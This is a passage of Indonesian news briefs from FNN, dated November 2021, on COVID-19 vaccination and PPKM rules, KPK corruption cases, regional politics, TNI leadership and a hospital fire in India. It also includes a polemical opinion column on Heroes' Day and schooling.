ini juga kita berharap masyarakat tidak pilih-pilih vaksin,” katanya. Secara terpisah ahli epidemiologi dari Fakultas Kesehatan Masyarakat Universitas Indonesia (FKM UI) Iwan Ariawan mengatakan sebenarnya target vaksinasi secara nasional 60 persen dosis pertama sudah tercapai pada 7 November 2021. Tapi, cakupan vaksinasi belum merata di semua provinsi. Iwan optimistis pelibatan personel TNI-Polri, kelompok masyarakat hingga komunitas pecinta alam dapat membantu penyelesaian target vaksinasi dosis pertama secara merata. "Tetapi, pada provinsi yang cakupannya saat ini masih 40 persen atau kurang, seperti Sulawesi Barat, Sulawesi Tengah, Maluku Utara, Papua Barat, Sulawesi Tenggara, Maluku, Aceh, dan Papua, sulit untuk mencapai target 60 persen di bulan November ini,” katanya. Menurut dia, target yang diinginkan Presiden Jokowi itu ditetapkan untuk mencegah lonjakan kasus COVID-19 saat libur Natal dan tahun baru serta mempertahankan Indonesia dalam status wabah terkendali. (sws)

KPK Dalami Surat Keputusan Fiktif Kasus Pengadaan Tanah SMKN 7 Tangsel

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) mendalami dugaan adanya surat keputusan fiktif pembentukan kepanitiaan terkait kasus pengadaan tanah untuk pembangunan SMKN 7 Tangerang Selatan (Tangsel), Banten. KPK, Senin (8/11), memeriksa enam saksi dalam penyidikan kasus dugaan korupsi pengadaan tanah untuk pembangunan SMKN 7 Tangsel di Dinas Pendidikan dan Kebudayaan Provinsi Banten Tahun Anggaran 2017. Pemeriksaan dilakukan di Kantor Imigrasi Kelas I Non-Tempat Pemeriksaan Imigrasi (TPI) Serang, Banten. "Dikonfirmasi, antara lain terkait dengan dugaan adanya surat keputusan fiktif terkait pembentukan kepanitiaan untuk pengadaan lahan tanah yang salah satunya untuk SMKN 7 Tangerang Selatan di Dinas Pendidikan dan Kebudayaan Provinsi Banten Tahun Anggaran 2017," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Selasa. Enam saksi tersebut merupakan pelaksana di Dinas Pendidikan dan Kebudayaan Provinsi Banten masing-masing Supriyati, Ujang Diana, Dian Hardianto, Mochamad Hendra, Fahrozi, dan Moammar Yasser. Diketahui, KPK sedang melakukan penyidikan kasus dugaan korupsi pengadaan tanah pembangunan SMKN 7 Tangsel tersebut. Kendati demikian, KPK saat ini belum dapat menginformasikan secara menyeluruh konstruksi perkara dan siapa saja pihak-pihak yang telah ditetapkan sebagai tersangka. Sebagaimana kebijakan pimpinan KPK saat ini bahwa untuk publikasi konstruksi perkara dan pihak-pihak yang telah ditetapkan sebagai tersangka akan dilakukan saat telah dilakukan upaya paksa baik penangkapan maupun penahanan terhadap para tersangka. Ali mengatakan KPK memberikan atensi lebih atas kasus tersebut karena proyek pengadaan sangat penting bagi dunia pendidikan, khususnya di wilayah Tangsel. "Ulah dari pihak-pihak yang terkait dengan perkara ini mengakibatkan tidak hanya dugaan kerugian keuangan negara akan tetapi juga kerugian sosial. Dukungan dan peran serta masyarakat sangat kami perlukan untuk bersama-sama mengawal dan mengawasi proses penanganan perkara dimaksud sehingga dapat lancar dan selesai sesuai yang diharapkan," kata Ali. (sws)

Komisi III DPRD Bogor Minta Pemkot Priorotaskan Pembangunan Strategis

Kota Bogor, FNN - Komisi III DPRD Kota Bogor minta pemerintah setempat memprioritaskan pembangunan strategis pada Anggaran Pendapatan dan Belanja Daerah (APBD) Tahun 2022 yang diharapkan menjadi momentum pemulihan seluruh aktivitas kota. Ketua Komisi III DPRD Kota Bogor Zaenul Mutaqin (ZM) dalam keterangan tertulis yang diterima ANTARA, Selasa, menyampaikan hal tersebut terkait hasil rapat rancangan APBD 2022 dengan mitra kerja selama tiga hari. ZM menyebut pada 2022 merupakan pintu gerbang pembangunan setelah Kota Bogor melewati masa pandemi COVID-19 selama kurang lebih dua tahun. "Jadi dari pembahasan rapat, kami meminta dilaksanakannya pembangunan strategis yang esensial," jelas ZM. Adapun program yang diwajibkan oleh komisi III untuk diselesaikan adalah pembangunan Jalan Ring Road Regional (R3) dan Masjid Agung yang masih belum terselesaikan selama bertahun-tahun. Salah satunya, target pemerintah Kota Bogor yang merencanakan pembangunan Masjid Agung sudah dapat digunakan untuk beribadah pada 2022, setelah mengalami keterlambatan beberapa tahun. "Jalan R3 dan saya harap itu diprioritaskan, jangan sampai terlewat lagi dengan alasan apapun. Yang kedua, Masjid Agung juga tahun depan akan memasuki pembangunan tahap akhir, dan ini harus selesai di tahun 2022," kata ZM. Tak hanya itu, politisi PPP itu juga menyoroti perihal rencana kelanjutan pembangunan tol BORR yang akan menyasar Kelurahan Kayumanis, Kecamatan Tanah Sareal. ZM meminta agar Pemkot Bogor aktif dalam hal sosialisasi pembangunan agar tidak ada bentrokan antar warga dan pengembang. "Jangan sampai pembangunan itu menimbulkan polemik. Jadi pemkot harus aktif mensosialisasikan kepada masyarakat," katanya. (sws)

KPK Hibahkan Aset Rampasan Korupsi Kepada Lima Instansi

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) menghibahkan aset hasil rampasan perkara tindak pidana korupsi (tipikor) kepada lima instansi. "Dalam rangka mendorong pemanfaatan 'asset recovery' atau barang rampasan hasil penanganan tindak pidana korupsi agar lebih optimal, KPK akan melakukan hibah barang rampasan kepada lima instansi," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Selasa. Lima instansi itu, yakni Kejaksaan Agung, Kementerian Keuangan, Kementerian Agama, Komisi Pemilihan Umum, dan Pemerintah Kota Yogyakarta. "Barang rampasan ini dalam berbagai wujud, seperti kendaraan, tanah, dan bangunan dengan nilai taksiran total sekitar Rp85,1 miliar," ucap Ali. Ia mengatakan Pelaksanaan Penetapan Status Penggunaan (PSP) dan hibah tersebut digelar di Aula Gedung Juang Merah Putih KPK, Jakarta, Selasa pukul 13.30 WIB-15.30 WIB dihadiri oleh Ketua KPK Firli Bahuri dan perwakilan lima instansi penerima hibah. KPK mengharapkan melalui PSP dan hibah, maka barang-barang rampasan hasil tindak pidana korupsi dapat memberikan manfaat optimal dalam mendukung pelaksanaan tugas pada instansi penerima. "Hal ini selaras dengan penegakan hukum pada konteks pemberantasan korupsi yang tidak hanya memberikan efek jera kepada pelakunya, namun bagaimana upaya tersebut memberikan manfaat yang sebesar-besarnya terhadap pemulihan kerugian keuangan negara," kata Ali. (sws)

PCNU OKU Timur Tegaskan Netral Dalam Pemilihan Ketua PBNU

Martapura, FNN - Ketua Tanfidziah Pengurus Cabang Nahdlatul Ulama (PCNU) Kabupaten Ogan Komering Ulu (OKU) Timur, Sumatera Selatan, KH Syahri menegaskan pihaknya netral dalam pemilihan Ketua PBNU Periode 2021-2026. Dia mengatakan PCNU OKU Timur akan mendukung siapapun yang nantinya terpilih sebagai ketua Pengurus Besar Nahdlatul Ulama (PBNU) di pemilihan yang akan digelar di Provinsi Lampung pada 23-25 Desember 2021. "Kami tetap solid dan siap mendukung siapapun yang nantinya terpilih sebagai ketua PBNU," kata KH Syahri di Martapura, Kabupaten OKU Timur, Selasa. Terkait adanya pemberitaan yang menyatakan pihaknya mendukung Said Aqil Siradj salah satu kandidat calon ketua PBNU, ia menegaskan hal itu tidak benar. Pernyataannya ini membantah pemberitaan yang menyatakan penyampaian dukungan kepada KH Said Aqil Siradj saat kunjungannya di Pondok Pesantren Hidayatul Mubtadiin, Kabupaten Muara Enim, pada Sabtu (6/11/). Menurut dia, kehadirannya di Pondok Pesantren Hidayatul bersama 16 PCNU Sumsel lainnya tersebut sebagai bentuk penghormatan kepada Ketum PBNU dan PWNU Sumsel. "Sebenarnya kehadiran kami sebagai bentuk hormat. Tidak ada menyatakan dukungan. Intinya siapapun yang nantinya terpilih sebagai ketua akan kami hormati karena semuanya adalah ulama-ulama kita," ujarnya. (sws)

Anggota DPR Minta Kinerja Jaksa Agung Tidak Terganggu Isu Poligami

Jakarta, FNN - Anggota Komisi III DPR RI Fraksi Demokrat Benny K Harman meminta kinerja Jaksa Agung ST Burhanuddin tidak terganggu dengan isu mengenai poligami sehingga harus tetap fokus menangani perkara di Korps Adhyaksa. "Saya minta Jaksa Agung tidak merasa terganggu dengan berbagai serangan yang bersifat personal terhadap diri Jaksa Agung akhir-akhir ini dan tetap fokus menjadi institusi terdepan dalam melaksanakan penegakan hukum antikorupsi secara adil, tanpa tebang pilih," kata Benny saat dikonfirmasi di Jakarta, Selasa. Dia menilai kelompok yang selama ini menyudutkan Jaksa Agung dengan mengungkapkan hal-hal yang bersifat pribadi adalah mereka yang merasa terganggu "mesin uang" dan bisnisnya yang mengandalkan pada akses kekuasaan dengan menggunakan segala cara. Karena itu, Benny meminta Jaksa Agung tetap tegak lurus menegakkan hukum dengan menyeret para pelaku korupsi dalam segala bentuk yang ada di dalam tubuh lembaga negara maupun di sektor swasta. "Aksi korupsi sekarang sudah semakin ganas dan lebih terbuka, bahkan para pelakunya sukses besar dalam membuat KPK menjadi institusi yang lemah dan menjadi subkoordinasi kekuasaan," ujarnya. Ia meminta Jaksa Agung memerintahkan jajarannya sampai ke tingkat Kepala Kejaksaan Negeri (Kajari) untuk selalu menjaga otonomi institusi dan bersikap netral dalam politik dengan tidak menjadi alat dari kekuatan politik tertentu. Dia menilai melalui cara tersebut, maka Kejaksaan akan selalu ada dan tercatat di hati sanubari rakyat. Institusi ini harus hadir di tengah maraknya korupsi yang merugikan keuangan negara dalam jumlah yang tidak terhingga. "Rakyat akan terus memonitor komitmen dan keberanian Jaksa Agung untuk memberantas korupsi tanpa pilih kasih. Semoga Jaksa Agung pada akhir tahun ini memberi hadiah tidak terhingga nilainya untuk rakyat Indonesia yang rindu lama datangnya sang dewi keadilan," katanya. (sws)

Instruksi Mendagri Mengenai Lanjutan PPKM Luar Jawa-Bali

Jakarta, FNN - Menteri Dalam Negeri Tito Karnavian menerbitkan Instruksi Mendagri (Inmendagri) 58/2021 tentang Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) untuk Daerah Luar Jawa dan Bali. Inmendagri 58/2021 merupakan instruksi tentang pemberlakuan PPKM level 3, 2, dan level 1 di wilayah Sumatera, Nusa Tenggara, Kalimantan, Sulawesi, Maluku, dan Papua. Inmendagri 58/2021 mulai berlaku pada Selasa 9 November sampai 22 November 2021. "Menindaklanjuti arahan Presiden Republik Indonesia yang menginstruksikan agar melaksanakan PPKM level 3, 2, dan 1 COVID-19 di wilayah Sumatera, Nusa Tenggara, Kalimantan, Sulawesi, Maluku, dan Papua sesuai dengan kriteria level situasi pandemi berdasarkan asesmen," tulis Inmendagri 58/2021. Penetapan level wilayah berpedoman pada indikator penyesuaian upaya kesehatan masyarakat dan pembatasan sosial dalam penanggulangan pandemi COVID-19 yang ditetapkan oleh Menteri Kesehatan. Kemudian pedoman penetapan itu ditambahkan dengan indikator capaian total vaksinasi dosis 1, di mana level PPKM kabupaten/kota dinaikkan 1 level apabila capaian total vaksinasi dosis 1 kurang dari 40 persen. Berdasarkan level tersebut, Inmendagri mengatur penyesuaian pembatasan kegiatan masyarakat di antaranya, seperti soal kegiatan belajar mengajar. Daerah dengan level 3, 2, dan 1 pelaksanaan pembelajaran di satuan pendidikan dapat dilakukan melalui pembelajaran tatap muka terbatas dan/atau pembelajaran jarak jauh. Pada daerah level 3, satuan pendidikan yang melaksanakan pembelajaran tatap muka terbatas dilaksanakan dengan kapasitas maksimal 50 persen berdasarkan keputusan bersama menteri. Kecuali untuk SDLB, MILB, SMPLB, SMALB, dan MALB maksimal 62-100 persen dengan menjaga jarak minimal 1,5 meter. Kemudian, PAUD maksimal 33 persen dengan menjaga jarak minimal 1,5 meter dan maksimal 5 peserta didik per kelas. Tambahan aturan Sedangkan untuk daerah dengan level 2 dan 1 ada tambahan aturan dengan diberlakukan zonasi level COVID-19. Daerah dengan zona hijau dan kuning dapat melakukan kegiatan belajar mengajar dengan sesuai aturan teknis yang berlaku dan protokol kesehatan ketat. Untuk zona oranye dilakukan pembelajaran tatap muka dan jarak jauh. Teknis dari pembelajaran tatap muka sama dengan aturan yang diberlakukan di daerah level 3, sedangkan wilayah dengan zona merah pelaksanaan kegiatan belajar mengajar di satuan pendidikan dilakukan melalui pembelajaran jarak jauh. Kemudian, untuk pelaksanaan kegiatan sektor nonesensial untuk daerah level 3 maksimal diberlakukan 50 persen WFO ("work from office") dengan protokol kesehatan secara ketat. Namun, apabila ditemukan klaster penyebaran COVID-19, maka sektor yang bersangkutan ditutup selama 5 hari. Sementara, daerah level 2 dan 1 pelaksanaan kegiatan perkantoran/tempat kerja perkantoran pemerintah, kementerian, lembaga, pemerintah daerah, perkantoran BUMN, BUMD, swasta aturannya mengacu zonasi wilayah. Wilayah yang berada dalam zona hijau pembatasan dilakukan dengan menerapkan WFH ("work from home") sebesar 25 persen dan WFO sebesar 75 persen, sedangkan wilayah yang berada dalam zona kuning dan zona oranye pembatasan dilakukan dengan menerapkan WFH sebesar 50 persen dan WFO sebesar 50 persen. Sementara itu, wilayah yang berada dalam zona merah pembatasan dilakukan dengan menerapkan WFH sebesar 75 persen dan WFO sebesar 25 persen. Pelaksanaan WFH dan WFO menerapkan protokol kesehatan secara lebih ketat. Pasar tradisional, pedagang kaki lima, toko kelontong, pangkas rambut, laundry, pedagang asongan, pasar loak di wilayah level 3, 2, dan 1 diizinkan buka dengan protokol kesehatan ketat, memakai masker, mencuci tangan, dan handsanitizer yang pengaturan teknisnya diatur oleh pemda. Hal itu berlaku pada pasar burung/unggas, pasar basah, pasar batik, bengkel kecil, cucian kendaraan, dan kegiatan yang sejenis. Tempat ibadah masjid, musala, gereja, pura, vihara, klenteng, dan tempat lainnya yang difungsikan sebagai tempat ibadah dapat mengadakan kegiatan peribadatan keagamaan berjemaah. Dengan ketentuan selama masa penerapan PPKM level 3 dengan maksimal 50 persen kapasitas atau 50 orang, namun lebih dioptimalkan pelaksanaan ibadah di rumah dengan memperhatikan pengaturan teknis dari Kementerian Agama. Zoansi wilayah Sementara, daerah yang menerapkan PPKM level 2 dan 1 pelaksanaan kegiatan ibadah pada tempat ibadah masjid, musala, gereja, pura, vihara, dan tempat ibadah lainnya mengacu pada zonasi wilayah. Wilayah dengan zona hijau, kegiatan peribadatan di tempat ibadah dapat dilakukan paling banyak 75 persen dari kapasitas dengan penerapan protokol kesehatan secara lebih ketat serta memperhatikan pengaturan teknis dari Kementerian Agama. Untuk wilayah dengan zona kuning, kegiatan peribadatan dapat dilakukan paling banyak 50 persen dengan penerapan protokol kesehatan secara lebih ketat serta memperhatikan pengaturan teknis dari Kementerian Agama. Selanjutnya wilayah yang berada dalam zona oranye dan merah, kegiatan peribadatan dapat dilakukan paling banyak 25 persen dari kapasitas dengan penerapan protokol kesehatan secara lebih ketat serta memperhatikan pengaturan teknis dari Kementerian Agama. Berikutnya, persyaratan perjalanan domestik yang menggunakan mobil pribadi, sepeda motor, dan transportasi umum jarak jauh (pesawat udara, bus, kapal laut, dan kereta api) sesuai dengan ketentuan yang diatur oleh Satuan Tugas Penanganan COVID-19 Nasional. Berikutnya, ketentuan pelaksanaan resepsi pernikahan pada daerah level 3. Kegiatan resepsi pernikahan dan hajatan (kemasyarakatan) maksimal 50 persen dari kapasitas atau maksimal 50 orang dan tidak ada hidangan makanan di tempat dengan penerapan protokol kesehatan yang diatur oleh pemerintah daerah. Sementara, untuk wilayah dengan level 2 dan 1 resepsi pernikahan dan kegiatan hajatan (kemasyarakatan) diatur dengan ketentuan zonasi wilayah. Wilayah yang berada dalam zona hijau diizinkan paling banyak 50 persen dari kapasitas dengan penerapan protokol kesehatan yang ketat dan tidak ada hidangan makanan di tempat. Wilayah selain zona hijau, diizinkan paling banyak 25 persen dari kapasitas dengan penerapan protokol kesehatan yang ketat dan tidak ada hidangan makanan di tempat. Inmendagri 58/2021 juga mengatur pembatasan pintu masuk perjalanan penumpang internasional bagi warga negara Indonesia (WNI). Pintu masuk udara dengan menggunakan penerbangan langsung hanya melalui Bandar Udara Soekarno Hatta di Provinsi Banten, Raja Haji Fisabilillah di Provinsi Kepulauan Riau, dan Sam Ratulangi di Provinsi Sulawesi Utara. Pintu masuk laut hanya melalui Pelabuhan Batam dan Tanjung Pinang di Provinsi Kepulauan Riau serta Nunukan di Provinsi Kalimantan Utara. Pintu masuk darat hanya melalui Pos Lintas Batas Negara (PLBN) Aruk dan Entikong di Provinsi Kalimantan Barat serta Motaain di Provinsi Nusa Tenggara Timur. Pembatasan pintu masuk perjalanan penumpang internasional juga diberlakukan bagi warga negara asing diatur dengan berbagai ketentuan. Untuk pintu masuk udara, hanya melalui Bandar Udara Soekarno Hatta, Ngurah Rai, Hang Nadim, Raja Haji Fisabilillah, dan Sam Ratulangi. Pintu masuk lewat transportasi laut di Provinsi Bali dan Provinsi Kepulauan Riau dapat menggunakan kapal pesiar (cruise) dan kapal layar (yacht). Pengaturan teknis terkait pelaksanaan ketentuan sebagaimana dimaksud diatur lebih lanjut oleh Kementerian Perhubungan. (sws)

Empat Bayi Tewas dalam Kebakaran di Rumah Sakit India

New Delhi, FNN - Empat dari 40 bayi yang baru lahir di sebuah rumah sakit pemerintah di India tengah, meninggal dunia ketika api melalap unit perawatan kelahiran RS tersebut pada Senin, 8 November 2021. Menurut beberapa pejabat, Insiden itu menjadi yang terbaru dalam serangkaian kebakaran RS di India tahun ini yang menewaskan puluhan orang. "Bayi-bayi yang selamat di RS Kamla Nehru, negara bagian Madhya Pradesh, tersebut telah dipindahkan ke bangsal lain," kata Menteri Pendidikan Kesehatan negara bagian Vishvas Kailash Sarang kepada wartawan, setelah api bisa dikendalikan. Bayi-bayi yang dirawat di unit itu sebagian besar mengalami berat badan kurang. "Anak-anak lainnya kini sedang dirawat," kata Sarang di Twitter. Dia menambahkan, penyelidikan telah diperintahkan untuk mengusut kebakaran itu. Sejumlah kebakaran rumah sakit telah menewaskan sedikitnya 70 orang di India tahun2021. Termasuk 10 orang pada akhir pekan lalu di Maharashtra, negara bagian tetangga Madhya Pradesh. (MD)

Sepuluh November dan Belajar Merdeka

Gelombang industrialisasi dan pembesaran persekolahan itu telah menyebabkan peran sektor pertanian yang semakin merosot, terjadinya urbanisasi besar-besaran selama 40 tahun terakhir. Jika selama Orde Lama wong cilik harus menjadi tentara, atau anggota PKI untuk naik kelas sosialnya, maka sejak Orde Baru hingga hari ini, wong cilik perlu bersekolah, terutama supaya menjadi profesional, pegawai negeri, atau buruh pabrik dan toko milik para taipan asing, aseng maupun asong. Menjadi petani bukan lagi pilihan menarik bagi kaum milenials. Oleh Daniel Mohammad Rosyid BESOK kita akan memperingati satu episode penting dalam sejarah Republik ini, yaitu bagaimana para pemuda dari hampir seluruh pelosok negeri berdatangan ke Surabaya, menjawab ultimatum Pasukan Sekutu agar Indonesia menyerah dan kembali menjadi bagian dari negeri jajahan Belanda. Waktu itu, pasukan NICA dan juga elemen PKI poros-Moskow membonceng Pasukan Sekutu sebagai pemenang Perang Dunia Ke II. Beberapa hari sebelumnya, pada 22 Oktober 1945, Hadratusyeh Hasyim Asy'ari telah mengeluarkan Fatwa Jihad atau dikenal Resolusi Jihad. Semangat jihad itu kemudian dikobarkan oleh Bung Tomo dalam pidatonya yang masyhur. Pasukan Sekutu yang dipimpin Inggris kemudian harus kehilangan beberapa perwira tingginya di pertempuran Surabaya itu, termasuk Birgadir Jenderal A.W.S.Mallaby. Itu sekitar 3 bulan setelah Bung Karno dan Bung Hatta memproklamasikan kemerdekaan bangsa Indonesia pada 17 Agusrus 1945. Begitulah penjajah yang tidak pernah rela membiarkan Indonesia sebagai bangsa yang merdeka. Melalui serangkaian aksi polisionil dan perundingan, Belanda kemudian berhasil memaksakan kesepakatan dalam Konferensi Meja Bundar di Den Haag pada 1949. Salah satu isi kesepakatannya adalah Republik Indonesia diubah menjadi Republik Indonesia Serikat. Jelas ini adalah kelanjutan dari strategi devide et impera yang selama hampir 300 tahun dipaksakan Belanda di Nusantara sebagai bentang alam seluas Eropa dengan kekayaan alam yang melimpah ruah. Strategi berikutnya selain membebankan biaya perang Belanda di Indonesia ke Pemerintah Republik adalah RIS harus mengikuti prinsip-prinsip pengaturan keuangan sesuai International Monetary Fund (IMF). Sejak itulah Indonesia dijebak dalam hutang ribawi hingga hari ini. Upaya menjajah yang tidak pernah kendor itu adalah sifat dasar para imperialis nekolim guna memastikan pasokan bahan-bahan baku, hasil-hasil pertanian dan pertambangan yang dibutuhkan oleh revolusi Industri Barat. Sustained imperialism dipertahankan melalui sebuah proxy, neo-cortex war dengan memanfaatkan tiga institusi penting industrialisasi dan westernisasi, yaitu perbankan, korporasi, dan sekolah. Perbankan memastikan negara-negara yang baru merdeka itu masuk dalam perangkap utang ribawi, korporasi menjadi instrumen non-state actors untuk melakukan operasi pengurasan berbagai sumberdaya alam atas nama investasi dan kemitraan. Sekolah menjadi instrumen penyediaan buruh yang cukup terampil menjalankan mesin-mesin pabrik, sekaligus cukup dungu untuk disiplin dan patuh bekerja bagi kepentingan pemilik modal. Kemerdekaan yang telah diproklamasikan Dwi Tunggal itu mensyaratkan budaya bangsa yang merdeka. Itu diamanahkan dalam Pembukaan UUD 1945 kepada pemerintah untuk mencerdaskan kehidupan bangsa. Namun, sejak Orde Baru, pendidikan sebagai upaya mencerdaskan kehidupan bangsa itu telah dibegal oleh persekolahan (segala sesuatu mengenai sekolah) menjadi sekedar instrumen teknokratik untuk kepentingan sustained imperialism tersebut. Sekolah penyedia buruh Persekolahan juga terbukti menjadi instrumen sekulerisasi besar-besaran. Beberapa kebijakan Mendikbudristek (Menteri Pendidikan, Kebudayaan, Riset dan Teknologi) baru-baru ini semakin memperjelas misi persekolahan itu. UU No. 18/2019 tentang Pesantren adalah instrumen menyekolahkan di pesantren supaya dikerdilkan menjadi penyedia buruh terampil. Gelombang industrialisasi dan pembesaran persekolahan itu telah menyebabkan peran sektor pertanian yang semakin merosot dan terjadinya urbanisasi besar-besaran selama 40 tahun terakhir. Jika selama Orde Lama wong cilik harus menjadi tentara, atau anggota PKI untuk naik kelas sosialnya, maka sejak Orde Baru hingga hari ini, wong cilik perlu bersekolah, terutama supaya menjadi profesional, pegawai negeri, atau buruh pabrik dan toko milik para taipan asing, aseng maupun asong. Menjadi petani, bukan lagi pilihan menarik bagi kaum milenials. Merenungkan Hari Pahlawan dalam pertempuran Surabaya hampir 76 tahun silam itu sebagai upaya merebut kembali kemerdekaan dan mempertahankannya. Sebagai anak bangsa kita perlu merumuskan kembali filosofi dan praksis/praktik pendidikan sebagai strategi budaya dalam menyediakan prasyarat bagi bangsa yang merdeka. Keberadaan internet telah mengurangi dominasi persekolahan dan pandemi telah mengurangi dominasi itu lebih jauh lagi. Dalam perspektif Sepuluh Nopember untuk merebut kembali kemerdekaan itulah kita perlu merekonstruksi Sisdiknas (Sistem Pendidikan Nasional) menjadi “instrumen budaya untuk belajar merdeka”, dalam usaha menyediakan prasyarat budaya bagi bangsa merdeka. Seperti amanat Ki Hadjar Dewantoro, kita perlu memperkuat keluarga dan masyarakat dalam mendidik warga muda. Peran sekolah akan jauh berkurang seperti telah terjadi selama lima tahun terakhir. Peran sekolah tidak akan dan tidak boleh sebesar dan sedominan dulu lagi. Kini kita perlu bergeser pada paradigma belajar, atau berguru, bukan bersekolah. Gunung Anyar, 9 November 2021. Penulis adalah Rosyid College of Arts, Surabaya.

Gubernur Jambi Beri Insentif Anak Penghafal Al-Quran pada 2022

Jambi, FNN - Pemerintah Provinsi Jambi memberikan bantuan atau insentif kepada anak penghafal Al Quran senilai Rp700.000 per orang melalui program "Satu Desa Satu Hafidz Qu'ran" mulai tahun 2022. "Ini program dan komitmen kami untuk mencetak generasi penghafal Al-Quran di Provinsi Jambi, sesuai dengan salah satu misi kami meningkatkan SDM yaitu Program Jambi Agamais dengan cara satu desa satu hafiz Qur'an. Melalui bantuan Pemerintah Provinsi Jambi satu anak senilai Rp700 ribu per bulan, ada 1.560 desa, Insya Allah akan kita mulai pada tahun 2022," kata Gubernur Jambi Dr H Al Haris di Kabupaten Kerinci, Senin. Dengan demikian, kata Haris, dengan bantuan bergulir selama 3 tahun diharapkan sudah bisa mendidik anak hafiz Al Quran 10.560 orang. "Ini target kami untuk menjadikan anak penghafal Al Quran," katanya saat meresmikan Pondok Tahfidz Darul Qur'an Penawar, Kabupaten Kerinci itu. Gubernur Jambi Dr H Al Haris memberi perhatian besar kepada masyarakat Provinsi Jambi yang mampu menghafal Al Quran (hafiz). Bentuk perhatian lain, gubernur memberikan beasiswa pendidikan kepada mereka hingga jenjang S3. Pada kesempatan itu ia juga menyerahkan secara simbolis bantuan kepada 25 hibah rumah ibadah dan lembaga pendidikan keagamaan dan satu Yayasan Pendidikan Islam dengan total bantuan Rp,84 miliar. "Bahwa Al Quran ini bukan lagi untuk anak-anak kita mengaji biasa di kampung melainkan sudah menjadi suatu kebutuhan, keahlian dan kemahiran," katanya. Saat ini, kata gubernur sudah banyak masjid yang imamnya seorang Hafiz Quran. Ia menyebutkan di Merangin imam masjid sudah diberi insentif Rp1,5 juta per bulan hingga Rp2 juta. "Artinya masyarakat menghargai anak anak kita penghafal Al Quran. Sebagai orang tua kita tidak boleh meninggalkan anak-anak kita dalam keadaan tidak berilmu," katanya. Sementara itu Bupati Kerinci Adi Rozal menyampaikan Pemerintah Kabupaten Kerinci mempunyai program Kerinci Cerdas untuk meningkatkan minat bagi anak-anak untuk membaca Al Qur'an. "Untuk meningkatkan hafalan Al Quran bagi hafiz dan hafizah, Pemerintah Kabupaten Kerinci memberikan beasiswa hafiz dan hafizah Al Quran, sebagai wujud dari program Pemerintah Daerah, yakni 'Kerinci Cerdas 2020'," kata Adi Rozal. Selain itu Pemerintah Kabupaten Kerinci telah membuat kesepakatan bersama MoU bersama beberapa Universitas di Sumatera Barat dan Jawa untuk menerima anak-anak Kerinci yang hafiz tanpa tes masuk perguruan tinggi di sana. (sws, ant)

Peneliti CSIS Sarankan Restrukturisasi Internal untuk TNI

Jakarta, FNN - Peneliti Centre for Strategic and International Studies (CSIS) Fitri Bintang Timur memberikan saran untuk melakukan restrukturisasi internal TNI dalam rangka memaksimalkan kiprah TNI di lingkup kerja sama regional dan internasional. "Restrukturisasi internal akan membuat TNI tidak sibuk di dalam negeri, tetapi juga berkiprah secara internasional," kata Fitri ketika menyampaikan pandangannya dalam diskusi publik bertajuk Menakar Komitmen Panglima Baru terhadap Reformasi Institusi TNI yang disiarkan secara langsung di kanal YouTube KontraS, dan dipantau dari Jakarta, Senin. Ia mengatakan bahwa kiprah militer Indonesia di mata internasional, khususnya keterlibatan Indonesia dalam misi perdamaian dunia, memiliki citra yang sangat baik. Dalam misi perdamaian, militer Indonesia sama sekali belum pernah mendapatkan sanksi atas pelanggaran, tidak pernah cacat, dan tidak pernah dikritik oleh internasional. "Justru dianggap aktif, proaktif, dan memiliki inovasi yang baik di misi perdamaian," ucapnya. Adapun restrukturisasi internal TNI yang dimaksud oleh Fitri adalah melakukan upaya atau inovasi dalam wujud pembukaan pos jabatan struktural baru guna memaksimalkan potensi surplus perwira tinggi dan jenderal TNI. Dengan demikian, dapat meningkatkan kesejahteraan perwira tinggi dan jenderal TNI yang belum mendapatkan penempatan atau pekerjaan sesuai dengan pangkatnya. "Indonesia diminta untuk mengirimkan calon perwakilan dan melakukan fit and proper test untuk misi pemeliharaan perdamaian dan politik PBB karena belum ada Wakil Khusus Sekretaris Jenderal PBB atau Special Representative of UN Secretary General dari Indonesia," tuturnya. Oleh karena itu, melihat kesempatan Indonesia dapat berkiprah di tingkat internasional melalui pasukan perdamaian PBB, Fitri menyarankan agar pada masa jabatan Panglima TNI yang baru, TNI dapat melakukan restrukturisasi internal TNI. "Itu juga salah satu solusi yang bisa dilakukan untuk buat batasan keterlibatan TNI di ranah sipil," kata Fitri. (sws, ant)

Anggota DPR Prediksi Presiden Perpanjang Masa Jabatan Jenderal Andika

Jakarta, FNN - Wakil Ketua Komisi I DPR RI Abdul Kharis Almasyahari memperkirakan Presiden Joko Widodo akan memperpanjang masa jabatan Jenderal Andika Perkasa sebagai Panglima TNI selama dua tahun sehingga pensiun pada usia 60 tahun atau bertepatan pada 2024. "Saya yakin (masa jabatan Jenderal Andika) akan diperpanjang, caranya ada dua kemungkinan ya," kata Abdul Kharis dalam diskusi Empat Pilar MPR RI dengan tema "Panglima TNI Baru dan Tantangan Ketahanan NKRI" di Kompleks Parlemen, Jakarta, Senin. Dia menjelaskan dua kemungkinan tersebut, yaitu masa jabatan diperpanjang secara pribadi Jenderal Andika dan dibuat Peraturan Presiden (Perpres) terkait perpanjangan masa kerja perwira tinggi TNI. Menurut dia, untuk mengubah masa jabatan tersebut harus melalui revisi UU Nomor 34 Tahun 2004 tentang TNI, namun hal tersebut sudah direncanakan tetapi belum dilaksanakan pemerintah. "Selama ini (UU TNI) mau direvisikan, namun belum mulai karena itu usulan dari pemerintah. Saya melihat (jabatan perwira tinggi TNI) akan diperpanjang," ujarnya. Abdul Kharis mengatakan masa kerja tamtama dan bintara kemungkinan akan naik menjadi 58 tahun sehingga kenapa perwira tinggi tidak naik. Karena itu, dia memperkirakan masa jabatan perwira tinggi TNI akan naik dua tahun, yaitu sampai umur 60 tahun. "Saya tidak berbicara pasti diperpanjang atas nama Jenderal Andika sendiri, namun saya yakin (masa jabatan Panglima TNI ke depan) sampai 60 tahun, itu artinya berakhir pada 2024," katanya. Dalam diskusi tersebut, anggota Komisi I DPR RI Dave Akbarshah Fikarno menyambut baik wacana perpanjangan masa jabatan perwira tinggi TNI, khususnya Panglima TNI. Hal itu, menurut dia, di beberapa negara seperti Amerika Serikat, perwira bintang 4 masa dinasnya rata-rata di atas 60 tahun karena secara fisik dan mental masih mampu menjalankan tugas meskipun sudah usia 60 tahun. "Saya menilai insyaallah (masa jabatan Panglima TNI) bisa diperpanjang namun tergantung Presiden apakah mau mengubah UU TNI," ujarnya. Menurut 